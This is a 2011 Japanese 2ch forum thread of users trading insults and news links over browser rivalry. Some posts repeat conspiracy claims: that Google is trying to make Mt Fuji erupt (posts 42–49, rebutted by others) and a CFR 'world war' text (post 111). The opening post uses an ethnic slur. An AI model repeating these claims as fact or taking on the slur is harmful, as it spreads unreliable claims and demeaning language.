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IE×Firefox×Opera×Safari×Chrome最終戦争17回戦

1 :名無しさん@お腹いっぱい。:2011/04/09(土) 17:44:22.59 ID:nbHoP7ho0
【前スレ】
IE×Firefox×Opera×Safari×Chrome最終戦争16回戦
http://hibari.2ch.net/test/read.cgi/software/1298865611/

【関連スレ】
IE
http://find.2ch.net/?STR=IE&COUNT=50&TYPE=TITLE&BBS=ALL
Firefox
http://find.2ch.net/?STR=Firefox&COUNT=50&TYPE=TITLE&BBS=ALL
Opera
http://find.2ch.net/?STR=Opera&COUNT=50&TYPE=TITLE&BBS=ALL
Safari
http://find.2ch.net/?STR=Safari&COUNT=50&TYPE=TITLE&BBS=ALL
Chrome
http://find.2ch.net/?STR=Chrome&COUNT=50&TYPE=TITLE&BBS=ALL

スレタイ以外のブラウザの話がしたい方はこちらへどうぞー
Webブラウザ総合スレ4
http://hibari.2ch.net/test/read.cgi/software/1269527865/
タブブラウザ総合スレ Part6
http://hibari.2ch.net/test/read.cgi/software/1246877593/

2 :名無しさん@お腹いっぱい。:2011/04/09(土) 17:44:56.59 ID:nbHoP7ho0
主要ブラウザ
IE→情弱もしくはデフォ最強厨向け、IE9は中々優秀だが他ブラウザに追いつかれるのも時間の問題
http://pds.exblog.jp/pds/1/200902/01/20/c0198720_15331642.jpg
Firefox→自分は情強と思い込んでる情弱御用達、メジャーアップデートのたびにアドオンの半数が死亡
http://shumali.net/aki/uploads/photos/firefox.jpg
Chrome→Googleサービスとの親和性は最強、スパイウエアと強制アップデート入りのメモリ喰いブラウザ
http://file.itao.guhaw.com/img_1757261_61702039_0.jpg
Safari→マカー向け、フォントの綺麗さだけがとりえの色物ブラウザ
http://blog-imgs-38-origin.fc2.com/n/e/k/nekosawasawa/safari.jpg
Opera→他のブラウザでは物足りない仙人御用達、シェアは常に1〜2%の揺るがない某伝説
http://upload.wikimedia.org/wikipedia/commons/thumb/3/3a/Opera-tan-9.svg/800px-Opera-tan-9.svg.png

その他有名ブラウザ
ChromePlus→中国の気質が息づくシナ産ブラウザ
Iron→Chromeから爆弾だけを取り除いたChromium系最強ブラウザ
RockMelt→各種SNSに特化したネト充向けブラウザ
Luna/pnir→国産マンセーの一部の信者にしか使われてない複数エンジン搭載ブラウザ
http://shumali.net/aki/uploads/photos/lunascape.jpg
http://shumali.net/aki/uploads/photos/sleipnir.jpg
Dounut→やたら無駄な派生が多い誰得ブラウザ
KIKI→もはやツリーだけがとりえの空気ブラウザ


3 :名無しさん@お腹いっぱい。:2011/04/09(土) 17:45:38.60 ID:nbHoP7ho0
仲良く争ってね!!

4 :名無しさん@お腹いっぱい。:2011/04/09(土) 17:46:00.81 ID:+lchrbUL0
>>1

5 :名無しさん@お腹いっぱい。:2011/04/09(土) 17:48:56.24 ID:dkdSH3Ux0
>>1
結局変わらずいつものペースで

6 :名無しさん@お腹いっぱい。:2011/04/09(土) 18:04:06.61 ID:cH+T0QfE0
internet explorer browser 約 502,000,000 件
google chrome browser 約 110,000,000 件
safari browser 約 47,800,000 件
firefox browser 約 18,800,000 件
opera browser 約 18,600,000 件

firefox 約 554,000,000 件
opera 約 454,000,000 件
internet explorer 約 227,000,000 件
google chrome 約 184,000,000 件
safari 約 185,000,000 件



sleipnir 約 3,040,000 件

7 :名無しさん@お腹いっぱい。:2011/04/09(土) 18:15:22.06 ID:dkdSH3Ux0
●利用しているブラウザーのセキュリティーをチェックできるサービス
http://freesoftnoki.blog87.fc2.com/blog-entry-1596.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+frnoki+%28%E3%83%95%E3%83%AA%E3%83%BC%E3%82%BD%E3%83%95%E3%83%88%E3%81%AE%E6%A8%B9%29

8 :名無しさん@お腹いっぱい。:2011/04/09(土) 18:21:20.17 ID:f6WYVQml0
Firefox 4ダウンロード総数6,000万超え、シェア6%に到達
http://journal.mycom.co.jp/news/2011/04/06/010/index.html

Android向け「Firefox 4」リリース、デスクトップ版の機能・性能を凝縮
http://journal.mycom.co.jp/news/2011/03/30/015/index.html

9 :名無しさん@お腹いっぱい。:2011/04/09(土) 20:13:21.00 ID:Rwl9legO0
競合の追撃を受けるGoogle Chrome 11βの改良点は?
http://ascii.jp/elem/000/000/598/598954/

10 :名無しさん@お腹いっぱい。:2011/04/09(土) 20:30:50.54 ID:f3pTDEEE0
FacebookやTwitterなどと連携するWebブラウザー「RockMelt」のオープンベータ版

ttp://www.forest.impress.co.jp/docs/news/20110324_434799.html

11 :名無しさん@お腹いっぱい。:2011/04/09(土) 20:42:23.84 ID:dkdSH3Ux0
>>10
元Netscape創業者ら、新ブラウザ「RockMelt」発表
http://hibari.2ch.net/test/read.cgi/pcnews/1289231214/

12 :名無しさん@お腹いっぱい。:2011/04/10(日) 01:07:23.67 ID:edWls1zr0
RockMeltのSNS連携はFx5でパクる予定なんだよなあ

13 :名無しさん@お腹いっぱい。:2011/04/10(日) 01:38:12.34 ID:vfZUcaVh0

                       /\
           ┌────→/(^o^;)\──新機能──┬──────┐
        3%未満(笑)   / Opera  \             |            │
           └───/  ̄ ̄ ̄ ̄ ̄ _ \           |            |
┌───資金────./(^o^) 開発ハジマタ\←───┤            │
│            /    Google Chrome   \←──│─開発者─┐│
│           /. ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ . .\    |          ││
│  ┌───→/    /(^o^)\ 開発オワタ     \←┘          ││
│拡張作って /      Firefoxアドオン開発者       \───┐   ││
│  └──/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ \  Fx最強. ! ││
└──→/       (^p^) Fx生活おいしいです       \←┘   ││
     /             Mozilla Firefox             \───┘│
   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ \      │
  /        (^o^) そろそろ反撃してもいいですか?   ○  \←─┘ヽoノ!?
/             Microsoft Internet Explorer   プニル<|─ Σ三三三 ヘ) るなすけーぷ
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\/> / ̄ ̄    く
                    <○<                 ̄ ̄
                     |  さふぁり
                    <<

14 :名無しさん@お腹いっぱい。:2011/04/10(日) 03:41:43.22 ID:tewO1Ku30
つまんねーAA作ってる暇あったら節電しろやドマヌケ猿

15 :名無しさん@お腹いっぱい。:2011/04/10(日) 07:19:32.13 ID:MpE4h9Im0
>>13
すでに反撃開始してるだろ
古いんだよそのAA

16 :名無しさん@お腹いっぱい。:2011/04/10(日) 07:38:50.95 ID:DiTA2mSw0
マウスカーソルに陰毛を生やすページを作ったぜ!

http://www.death-note.biz/up/p/20404.html

17 :名無しさん@お腹いっぱい。:2011/04/10(日) 07:51:30.80 ID:cW6SruuL0
>>16
ふ、Fx4は神ブラウザ余裕でした

18 :名無しさん@お腹いっぱい。:2011/04/10(日) 08:09:24.54 ID:XkiW4vvR0
>>16

Opera(2-3) ≧ Chrome(3-4) > Safari(4-7) 神ブラウザ
Firefox(9-13) ≧ Seamonkey(12-15) 普通ブラウザ
Camino(28-30) 駄ブラウザ

だったわ@MacOSX
Gecko弱いのお…


19 :18:2011/04/10(日) 08:17:46.02 ID:XkiW4vvR0
>>17
一時的にFirefoxを4にしてみた。すぐに戻すけど。

Opera(2-3) ≧ Chrome(3-4) ≧ Firefox4(4-5) ≧ Safari(4-7) 神ブラウザ
Firefox3(9-13) ≧ Seamonkey(12-15) 普通ブラウザ
Camino(28-30) 駄ブラウザ

最強伝説が強いな。Firefoxがんばれ。

20 : 忍法帖【Lv=2,xxxP】 :2011/04/10(日) 10:02:32.39 ID:v9zje8cm0
とりあえず、chromeは早いなぁー

21 :名無しさん@お腹いっぱい。:2011/04/10(日) 11:11:14.11 ID:S4xxTbbD0
>>16
2-3のOpera11最強伝説

22 :名無しさん@お腹いっぱい。:2011/04/10(日) 23:07:12.69 ID:vOE5Z1r/0
あるFirefoxアドオン開発者の嘆き
ttp://togetter.com/li/46617
落ち目ブラウザFirefoxから勝ち組ブラウザChromeに乗り換えた情強ユーザー達の声
ttp://togetter.com/li/80730

23 :名無しさん@お腹いっぱい。:2011/04/10(日) 23:20:42.09 ID:YLcGwG860
なるほど、四半期前だ

24 :名無しさん@お腹いっぱい。:2011/04/10(日) 23:53:37.06 ID:SEVEb7Kk0
operaのターボって効いてるのか?
少なくともfirefox4よりも遅いんだけど
どこが最速なの? 自称最速()

25 :名無しさん@お腹いっぱい。:2011/04/10(日) 23:55:43.16 ID:FDwed9l30
(´・ω・`)知らんがな

26 :名無しさん@お腹いっぱい。:2011/04/11(月) 05:20:42.54 ID:oIcjp6PU0
Opera Turboは日本じゃ電話回線やISDNとかの低速回線使ってないとむしろ遅くな
るのは常識だろ。その程度の知識人で書き込むなよ。つうか釣りか?

ここのサイトでも開いて、Turboの有り難みを実感しとけ。
http://dino206.blog.hobidas.com/archives/category/1712.html

27 :名無しさん@お腹いっぱい。:2011/04/11(月) 05:55:14.42 ID:bwacvy230
>>22なんかこの下のURLのページのChrome信者がキモすぎる

28 :名無しさん@お腹いっぱい。:2011/04/11(月) 09:44:09.24 ID:PuCr8r7SP
何かと思えばツイッタか
信者というより無知晒しても平気な馬鹿でしょ

29 :名無しさん@お腹いっぱい。:2011/04/11(月) 15:40:51.29 ID:q/x3wip70
FirefoxからChromeに移る層って
Firefoxと同じようにChromeを使える人……1%
Chromeと同じようにしかFirefoxを使えなかった人……99%
でしょ

30 :名無しさん@お腹いっぱい。:2011/04/11(月) 15:48:50.34 ID:J9jbWiPG0
ブラウザごときで選民思考する奴って何なの。

31 :名無しさん@お腹いっぱい。:2011/04/11(月) 15:49:09.14 ID:bI96JuHT0
>>22
下のリスト作った奴っぽい
ttp://twitter.com/googlechromenow

32 :名無しさん@お腹いっぱい。:2011/04/11(月) 16:03:52.21 ID:mb2dRJ8N0
火狐で使うアドオンをまた増やしてしまった
Chromeへ移行したいから早くアドオン増やしてくれ

33 :名無しさん@お腹いっぱい。:2011/04/11(月) 16:20:51.46 ID:25snulNR0
リアルプレイヤーのダウンロード機能がChrome で使えるようになってから狐と勝負。

34 :名無しさん@お腹いっぱい。:2011/04/11(月) 16:34:56.96 ID:hItS6KsD0
>>30
それで自尊心を保ってるんだからほっといてやれ

35 :名無しさん@お腹いっぱい。:2011/04/11(月) 17:57:07.68 ID:lMqoE+h10
Chromeはお行儀の悪さを直してからじゃないと
使えないな
特にビジネス用PCではね

36 :名無しさん@お腹いっぱい。:2011/04/11(月) 18:17:34.31 ID:c+xjmos30
お行儀の悪さをなおすとそのまんまIronになっちゃうのですがw

37 :名無しさん@お腹いっぱい。:2011/04/11(月) 18:22:46.29 ID:HRdzw9kp0
ちょっと奥さん!リアルプレイヤーですって!
キャッシュから保存することも出来ないのかしら

38 :名無しさん@お腹いっぱい。:2011/04/11(月) 18:25:13.52 ID:Iw3OL1wtP
クロームが良いって心から思って使ってんだからほっといてやれよ
お前らはいっつも自分より下の存在叩いて自尊心を保ってるけどその癖、治したほうがいいよ

39 :名無しさん@お腹いっぱい。:2011/04/11(月) 18:30:26.72 ID:bI96JuHT0
緊急地震速報の拡張がないFirefox
拡張作者に見捨てられてるんだな

40 :名無しさん@お腹いっぱい。:2011/04/11(月) 18:46:04.53 ID:/REdCsu50
P2P地震速報使う方がいいぞ、それなら

41 :名無しさん@お腹いっぱい。:2011/04/11(月) 18:57:58.36 ID:bI96JuHT0
「つくるウェブ EarthquakeNotifier」いれてみた
Chromeの拡張より速報性が高いな

42 :名無しさん@お腹いっぱい。:2011/04/11(月) 21:54:00.93 ID:/REdCsu50
http://maps.google.com/maps?ll=35.358583,138.73503&z=12&t=h

Googleはこういう企業です
富士山噴火させようとしているみたいよw
どうやらそれに一枚噛んでいるようだ

日本人ならGoogleアプリはやめましょう

43 :名無しさん@お腹いっぱい。:2011/04/11(月) 22:05:03.92 ID:Iw3OL1wtP
いや・・・なんだよこれ

44 :名無しさん@お腹いっぱい。:2011/04/11(月) 23:11:40.53 ID:C2sT7aD50
明らかに噴火後の姿ですね
証拠のデータもすでに保管してあるが

やっぱり何かおかしい企業だよ

45 :名無しさん@お腹いっぱい。:2011/04/11(月) 23:28:55.19 ID:tInTzHBH0
>>42
Googleが富士山噴火させようとしているんじゃなくって
これからの起こり得る予測データーを暗にアメリカが知っていて、それとなく日本国民に警告してくれてるんだろうよ

それに比べて我が国は…w

仮にそれが現実と化した場合、責めるのはGoogleでは無く…内側の隠密姿勢にある

46 :名無しさん@お腹いっぱい。:2011/04/11(月) 23:44:03.43 ID:/REdCsu50
起こりえる予測データを日本国民に警告?

http://maps.google.co.jp/maps?hl=ja&client=firefox-a&rls=org.mozilla:ja:official&q=%E5%AF%8C%E5%A3%AB%E5%B1%B1&um=1&ie=UTF-8&sa=N&tab=wl

残念ながらそうではない
前に貼ったのはUSAのサイトからだ

日本人向けではない

47 :名無しさん@お腹いっぱい。:2011/04/12(火) 00:00:05.79 ID:tInTzHBH0
>>46
まんま、おまいが回答いってるじゃん
日本気象庁は、実データを海外経由頼りで流して→日本国民へ警告させてるぞ
それだけ我が国家内では情報規制が厳しくしかれてるってこった

48 :名無しさん@お腹いっぱい。:2011/04/12(火) 00:21:24.80 ID:YJw+Aytw0
>>47
違うだろう
何故かというと元々は隠すつもりだったからだ
ドイツに流したデータも当初は否定したし、しかもそれは要請があったから出しただけだぞ
気象庁が自ら外部に積極的に提出したんじゃない

49 :名無しさん@お腹いっぱい。:2011/04/12(火) 00:46:04.50 ID:A57ZV0qk0
>>48
要望があって出したとしても、それを流した事は
我々日本国民にとっては唯一の予測される情報源じゃない

あくまで想定なんだろうが想定を考慮に入れての情報が海外経由からしか流せないというのは情けない限りだと思うよ

50 :名無しさん@お腹いっぱい。:2011/04/12(火) 02:04:41.43 ID:AtkmN3bw0
>>39
機能的にはSignalNow Expressとかの方がよくない?

51 :名無しさん@お腹いっぱい。:2011/04/12(火) 05:46:08.94 ID:lgcCRE9o0
おいおい火山が噴火するかどうか的確に予測できるなら、ノーベル賞級の業績だろ。
誰にも予想できない。オオカミ少年になりたくないから、気象庁も慎重になる。

海外のネット経由で、外国が何言ってるか収集することは大切だがけど、
それも日本の政府や機関が発表する資料を基に「解釈」してるに過ぎない
ってことが、今回の地震と原発でよくわかった。

だから政府が本当に隠蔽しようとしたら海外経由でも厳しい…。

52 :名無しさん@お腹いっぱい。:2011/04/12(火) 08:20:58.91 ID:Vb3U+fkA0
>>42
それただの衛星写真の問題だろw
噴火とか関係ねーしw


53 :名無しさん@お腹いっぱい。:2011/04/12(火) 12:00:36.66 ID:jMqYEnV70
震災起こってから聖戦士が紛れ込んでるな

54 :名無しさん@お腹いっぱい。:2011/04/12(火) 13:14:47.82 ID:wrDJoGnB0
富士山の衛星写真がどうしたのか全く理解出来ない。
噴火?噴火なんてしてねーじゃんこの富士山。

55 :名無しさん@お腹いっぱい。:2011/04/12(火) 13:31:02.74 ID:jMqYEnV70
Google Earthスレと完全に勘違いしてたわ紛らわしい・・・

56 :名無しさん@お腹いっぱい。:2011/04/12(火) 16:39:57.38 ID:09dMwCCc0
Opera11.10がいつのまにか出てたらしいのに信者が静かだな

57 :名無しさん@お腹いっぱい。:2011/04/12(火) 16:41:32.63 ID:luLqgHfo0
信者さえ気づかないという伝説

58 :名無しさん@お腹いっぱい。:2011/04/12(火) 18:59:27.34 ID:nubB8U5z0
このスレに信者が来なくなっただけだろ
そうでなければ前スレのオペラいらないでも相当荒れたはずだ

59 :名無しさん@お腹いっぱい。:2011/04/12(火) 19:19:30.40 ID:WQvDt4x60
あたい信者だけどぶっちゃけどうでもいい

60 :名無しさん@お腹いっぱい。:2011/04/12(火) 19:51:01.94 ID:QpcXs/J20
もっとがんばれよ
このスレは本気で煽りあうスレだろうが

61 :名無しさん@お腹いっぱい。:2011/04/12(火) 20:14:54.90 ID:XlinHmo90
Chrome厨が元気な時は伸びたんだけどな
もうIE9とFirefox4で完全に存在意義がなくなって全く見かけなくなった

62 :名無しさん@お腹いっぱい。:2011/04/12(火) 20:32:50.30 ID:mlxZggCi0
11,10たった今インストールした

63 :名無しさん@お腹いっぱい。:2011/04/12(火) 20:41:00.91 ID:BnCtRMdNP
XPを親の敵にしてたIE9厨さんはどこ行ったんだ・・・

64 :名無しさん@お腹いっぱい。:2011/04/12(火) 20:51:23.76 ID:nubB8U5z0
XP厨さんとやらが消えたからね

65 :名無しさん@お腹いっぱい。:2011/04/12(火) 21:42:23.81 ID:oJB9bnfK0
なんだ終戦か

66 :名無しさん@お腹いっぱい。:2011/04/12(火) 21:48:01.23 ID:f5GzOwbG0
春休み終わったから○○厨さん達は学業に戻ったんでしょう。

67 :名無しさん@お腹いっぱい。:2011/04/12(火) 22:41:30.45 ID:Ws3t+oat0
今日Operaアンインストした
俺勝ち組かも

68 :名無しさん@お腹いっぱい。:2011/04/13(水) 00:25:29.05 ID:OHit4X4Y0
グーグルが高速プロトコル「SPDY」をChromeブラウザで有効化。Gmailなどで利用を開始していた
ttp://retweeter.unicco.in/

50%とか凄いじゃん
Firefoxアドオンを早くChromeに移植してくれー

69 :名無しさん@お腹いっぱい。:2011/04/13(水) 00:38:43.02 ID:dmoynwp00
移植できるものはほぼすべて移植されているような気がする。
移植されていないものはChrome拡張の制限事項に引っかかって無理なんじゃないか。

70 :名無しさん@お腹いっぱい。:2011/04/13(水) 00:41:02.77 ID:OHit4X4Y0
>>69 えっ

71 :名無しさん@お腹いっぱい。:2011/04/13(水) 00:51:01.21 ID:dmoynwp00
>>70
あなたが移植してほしいFirefoxの拡張って具体的には何?

72 :名無しさん@お腹いっぱい。:2011/04/13(水) 01:05:35.93 ID:OHit4X4Y0
>>71
Firefoxと同じ使い勝手のぬりかべ

73 :名無しさん@お腹いっぱい。:2011/04/13(水) 01:54:49.47 ID:jO5CeOS20
IE10来た

74 :名無しさん@お腹いっぱい。:2011/04/13(水) 01:58:29.02 ID:jO5CeOS20
IE10
http://ie.microsoft.com/testdrive/Info/Downloads/Default.html

75 :名無しさん@お腹いっぱい。:2011/04/13(水) 02:09:36.39 ID:tw1YJ6Hb0
Acid3は相変わらず95点か

やっぱIEとFxは満点取る気はないのね

76 :名無しさん@お腹いっぱい。:2011/04/13(水) 08:58:11.21 ID:irnrAP1c0
IEの方は表向きは100点を取りたいって言ってたような気もするな
Fxは取る気がない

77 :名無しさん@お腹いっぱい。:2011/04/13(水) 09:43:03.74 ID:4CTV3CTW0
現実はこれだぞ
http://samples.msdn.microsoft.com/ietestcenter/

Acid3 100点なんて意味なし

78 :名無しさん@お腹いっぱい。:2011/04/13(水) 10:29:21.46 ID:v4pLevFH0
Acid3って既に使わなくなった規格も含まれてるんだとね
そして>>77はいつものMSを考えるといくつかの重要な規格を無視してそうではある

79 :名無しさん@お腹いっぱい。:2011/04/13(水) 11:02:08.60 ID:pVPQ/zDx0
IEの大本営発表はちょっと怪しいところあるからなw
まあ、でもやる気出してくれるのは良いことだわ。

80 :名無しさん@お腹いっぱい。:2011/04/13(水) 14:20:35.96 ID:pazyN8RC0
>>77
オペラとクロム酷いな・・・

81 :名無しさん@お腹いっぱい。:2011/04/13(水) 15:13:13.96 ID:R/GyhhPi0
>>80
酷いのはオペラとサハリだろ
クロムと火狐はなんとかついてってる

82 :名無しさん@お腹いっぱい。:2011/04/13(水) 15:50:09.00 ID:OHit4X4Y0
Firefox 5に搭載される11の新機能
ttp://gigazine.net/news/20110413_firefox_5/

2ヶ月後・・・だと?
またアドオン再設定しないといけないの?

83 :名無しさん@お腹いっぱい。:2011/04/13(水) 16:31:38.15 ID:9G6rP8oD0
おいおい、俺なんてやっとIE6からIE8にしたところだぜ
まだ9も見てないのに10とかでてるのか


84 :名無しさん@お腹いっぱい。:2011/04/13(水) 17:17:17.87 ID:e1PgQvGT0
Chromeの一般人騙しバージョンナンバーに触発されてるのか

85 :名無しさん@お腹いっぱい。:2011/04/13(水) 18:08:03.28 ID:tw1YJ6Hb0
>>82
うーん・・・微妙だな
それならAcid3やら>>77やらの満点を目指すべきだと思う

86 :名無しさん@お腹いっぱい。:2011/04/13(水) 18:35:02.15 ID:YWk+YE970
ベンチよりも使い勝手だろ
>>85

87 :名無しさん@お腹いっぱい。:2011/04/13(水) 18:45:04.83 ID:tw1YJ6Hb0
>>86
正しく表現できる、というのは使い勝手に含まれるような
早いけど表示がメタメタ、ってのじゃ使い道に困るし

88 :名無しさん@お腹いっぱい。:2011/04/13(水) 19:57:02.62 ID:DVNRQ1zZ0
Chromeへの乗り換え検討してるんだけど
マウスジェスチャのレスポンスが悪いように思うんだけど
改善される見込みはあるのか?

89 :名無しさん@お腹いっぱい。:2011/04/13(水) 20:08:09.99 ID:OGLIYH/mO
Opera最強伝説!!

90 :名無しさん@お腹いっぱい。:2011/04/13(水) 20:11:15.61 ID:x4dLS2ZF0
>>85
Windowsの一部の2バイト文字ではルビの字下げで文字が切れるなどの問題があるため
Acid満点を目指さないブラウザがあったと思う

>>88
見込みはない

91 :名無しさん@お腹いっぱい。:2011/04/13(水) 20:15:04.23 ID:BMoERBk80
>Chromeの一般人騙しバージョンナンバー
技術力がないから無駄にバージョンがあがってるってイメージがある

92 :名無しさん@お腹いっぱい。:2011/04/13(水) 20:20:03.12 ID:pVPQ/zDx0
使い勝手といっても、まだ草案段階の技術を他より沢山使えまっせ、だから

93 :名無しさん@お腹いっぱい。:2011/04/13(水) 20:25:05.48 ID:5/jXJtok0
Chromeのバージョンなんて全然気にならないんだが…
みんな気になるの?

94 :名無しさん@お腹いっぱい。:2011/04/13(水) 20:36:18.93 ID:OHit4X4Y0
Chromeはバージョン上がってもエクステ入れ直さないし
自動でアップデートされてるからバージョンアップしたことにすら気付かない

95 :名無しさん@お腹いっぱい。:2011/04/13(水) 21:13:24.90 ID:Mdw1qNRu0
>>77
これって確か殆どのテストケースをMSが開発してW3Cに提出したってやつでしょ・・
そりゃIEが良い点取れて当たり前だよ

96 :名無しさん@お腹いっぱい。:2011/04/13(水) 22:03:01.57 ID:JklBDoah0
クロムにautopacthwork、fastestchrome、RSSエクステンション、Gmailチェッカー
Googleカレンダーチェッカー、chromeリーダーnotifler、mini Google map、IEタブ
Turn Of the Ligth入れたら元々クロムが持っているスピード、Youtube、ストリートビュー等の
神コンテンツとの相性に加えて使い勝手やGoogleの神アプリとの連携が加わり
完璧な神ブラウザになってワロタw


97 :名無しさん@お腹いっぱい。:2011/04/13(水) 22:04:15.61 ID:eplVVAagP
そうだな

98 :名無しさん@お腹いっぱい。:2011/04/13(水) 22:20:06.00 ID:TfcSu5Kb0
Googleの神アプリってなに?

劣化する一途だと思うけどな
うざいからスタイリッシュ大活躍だわ

99 :名無しさん@お腹いっぱい。:2011/04/13(水) 22:25:30.43 ID:gkiBMdFG0
>>96
君。なかなかいいマインドコントロール効いてるね。
Apple製品使い始めたらすぐに盲信しそうなタイプだな。
だからいつもサファリを叩いてるのか。納得した。

100 :名無しさん@お腹いっぱい。:2011/04/13(水) 22:58:15.45 ID:++KPD5sY0
神ブラウザは言い過ぎだろ、最強ブラウザぐらいにしとけ
拡張できないIE9厨が騒ぎ出しただろ

101 :名無しさん@お腹いっぱい。:2011/04/13(水) 23:10:30.79 ID:OHit4X4Y0
この殺伐とした雰囲気こそこのスレにふさわしい!

102 :名無しさん@お腹いっぱい。:2011/04/13(水) 23:19:45.62 ID:JklBDoah0
>>99
ipodとitunse既に使ってるよ。サファリは意地でも使わんけどな

>>96
あとgoogleDocsビューアも入ってるや。クロムから文書を選んで即Docsで開く(編集)、削除もできる

マジで穴がないよ。神と言える

103 :名無しさん@お腹いっぱい。:2011/04/13(水) 23:25:20.41 ID:ql6s7ibK0
まだちっとも殺伐としてねえよ…
ChromeがFirefoxのシェアを抜くぐらいしないと戦争は起きないのか

104 :名無しさん@お腹いっぱい。:2011/04/14(木) 00:32:56.56 ID:tyOVhioj0
チンパンジーのシェアが人間を抜くぐらいじゃないと厳しい。

105 :名無しさん@お腹いっぱい。:2011/04/14(木) 00:42:06.29 ID:0E4M0dYL0
Chromeは見れない動画サイトが多いのでメインでは使いにくい
そもそも動画が表示される部分が綺麗に欠けている場合が多いので
表示されていないことに気づかない

106 :名無しさん@お腹いっぱい。:2011/04/14(木) 03:06:54.93 ID:ZLVkkusT0
>>94
恐ろしいことですね

107 :名無しさん@お腹いっぱい。:2011/04/14(木) 06:41:07.83 ID:VUw7Sc1y0
クローム作者さん
image.dataに.concat()が効くようにしてください


108 :名無しさん@お腹いっぱい。:2011/04/14(木) 10:21:38.66 ID:0Mmrfuob0
Flock終了のお知らせ

109 :名無しさん@お腹いっぱい。:2011/04/14(木) 10:55:17.66 ID:QbnfppYP0
Chromeってjavascript速度しか取り柄がなかったんだなあ・・・

と、IE9、Firefox4を使ってオモタ

110 :名無しさん@お腹いっぱい。:2011/04/14(木) 11:05:50.99 ID:67JODqhFP
まぁどの陣営も本気出すようになったし
かませ犬的に意味があった
やっぱ競争がないとダメないい例だろうな

111 :名無しさん@お腹いっぱい。:2011/04/14(木) 12:08:58.73 ID:LXbA1Bud0
なぜCFRテロリストは世界最終戦争を日本で始めたのか?

それがなぜなのかを今まで考えてもみませんでした。

要するに「日本人が最も手強い」からでしょう。

日本人をまず攻略して手足を縛っておかないと

地球規模でのテロ展開は無理と判断し

日本をまず標的にした。

そして、見事、日本人の知性に負けた....と解釈いたしております。

リチャード・コシミズでした。


112 :名無しさん@お腹いっぱい。:2011/04/14(木) 14:49:37.62 ID:ZLVkkusT0
>>109
Fx4のjsエンジンはSafariが積んでるNitroの流用だけどね

113 :名無しさん@お腹いっぱい。:2011/04/14(木) 15:39:55.20 ID:dd1f0nEv0
元々入っているieとオペラだけ有れば他に入らないだろ。
アドオンとか捜すの面倒だし。

114 :名無しさん@お腹いっぱい。:2011/04/14(木) 16:02:12.24 ID:XgA2V9lK0
いやー、オペラの使い方を探し回ったりカスタマイズに悩むよりは狐の拡張を

Firefox (やりたいこと)

で検索する方が早いと思うw

115 :名無しさん@お腹いっぱい。:2011/04/14(木) 16:10:40.85 ID:ZLVkkusT0
Microsoft announced on Wednesday that the company's latest browser,
Internet Explorer 10, will not be available for Vista users.

ttp://www.neowin.net/news/microsoft-no-ie10-for-vista-users

ざけんな…無駄にバージョンをばら撒いて産廃化させんじゃねえよ
やるなら責任もってXPもVistaも葬れや

116 :名無しさん@お腹いっぱい。:2011/04/14(木) 16:46:17.72 ID:DR4U5Z9T0
老害XP厨

117 :名無しさん@お腹いっぱい。:2011/04/15(金) 15:33:00.16 ID:9f4mti150
メインストリームサポートが終わってるXPにIE9が来ないのは理解できるが、
あと1年近く続くVistaにIE10が来ないってのはひどいな…

118 :名無しさん@お腹いっぱい。:2011/04/15(金) 15:38:47.93 ID:6JnB0emy0
VistaにIE10来ないの?
もういいよ別にいらないし次からUbuntuにするから

119 :名無しさん@お腹いっぱい。:2011/04/15(金) 15:51:09.99 ID:u3vZZ33c0
IE10の正式版はVistaのメインストリームサポート終了後になるということだろ。
そう考えれば特に理不尽なことではないと思うがな。

120 :名無しさん@お腹いっぱい。:2011/04/15(金) 15:53:03.50 ID:6JnB0emy0
MS「そういうライセンスだろ?
   嫌なら使うのやーめればぁー?」

121 :名無しさん@お腹いっぱい。:2011/04/15(金) 16:00:39.02 ID:UWG1mPPQ0
Vistaのサポート終了を狙って、IE10をだすのか
姑息だなー

122 :名無しさん@お腹いっぱい。:2011/04/15(金) 16:21:48.14 ID:8cbjRM+q0
ゲイツのくせになまいきだぞ

123 :名無しさん@お腹いっぱい。:2011/04/15(金) 16:33:04.70 ID:kHNjWxz60
Vistaのメインストリームサポートが12年春に切れて
Windows8が12年夏以降か……

124 :名無しさん@お腹いっぱい。:2011/04/15(金) 18:06:12.54 ID:mpqrPqFt0
何がサポート終了だ、ふざけんな
MS以外は実際にユーザが居る限りサポートせにゃならんのだ
下らないもの作ってゴミ処理させんじゃねえ

125 :名無しさん@お腹いっぱい。:2011/04/15(金) 18:22:11.14 ID:iT3yhZTS0
Vista版出ないことは決定してない。
IE9残るよりIE10出してIE9以下のサポートを切った方が楽。

126 :名無しさん@お腹いっぱい。:2011/04/15(金) 18:23:28.62 ID:GWEWXeM+0
072:なまえをいれてください :03/07/23 14:37
ハッキリ言って2chなどの情強掲示板では火狐の方がOperaよりもずっと立場は上だよ。
貧弱で弱弱しく、アグレッシブさに欠け、醜いOperaは火狐のストレス解消のいい的。
火狐はカスタム性、便利なアドオンを多数輩出してるし、Operaはかなり彼らに見下されている。
(火狐はieには頭があがらないためブラウザスレなどのOpera使い相手に威張り散らしてストレス解消する。
また、Operaの新機能はすぐパクれるアドオンとしてとおっている。
「Operaでできる事は火狐でもできる」と開き直る火狐ユーザも多い。
彼らの見ていないところでこそこそ陰口しか叩けないOperaは滑稽。

127 :名無しさん@お腹いっぱい。:2011/04/15(金) 18:27:48.04 ID:pOy3vtIs0
あほか
サポート切れなんてのは、MSの言葉としてしか存在しないんだよ

128 :名無しさん@お腹いっぱい。:2011/04/15(金) 18:48:12.93 ID:7gbjaCAk0
しかし創造神の言葉でもある

ロストパラダイスと化すか、単なるロストワールドで終わるか

129 :名無しさん@お腹いっぱい。:2011/04/15(金) 19:19:33.75 ID:zUxLuq1EP
情強掲示板か
これは必レスコピペに使えそうなワードだな

130 :名無しさん@お腹いっぱい。:2011/04/16(土) 09:52:18.40 ID:fgHqRhcS0
operaはいい加減メニューボタン増殖、削除不能バグ直せよ

131 :名無しさん@お腹いっぱい。:2011/04/16(土) 09:59:30.34 ID:MJCMJ4FA0
は?

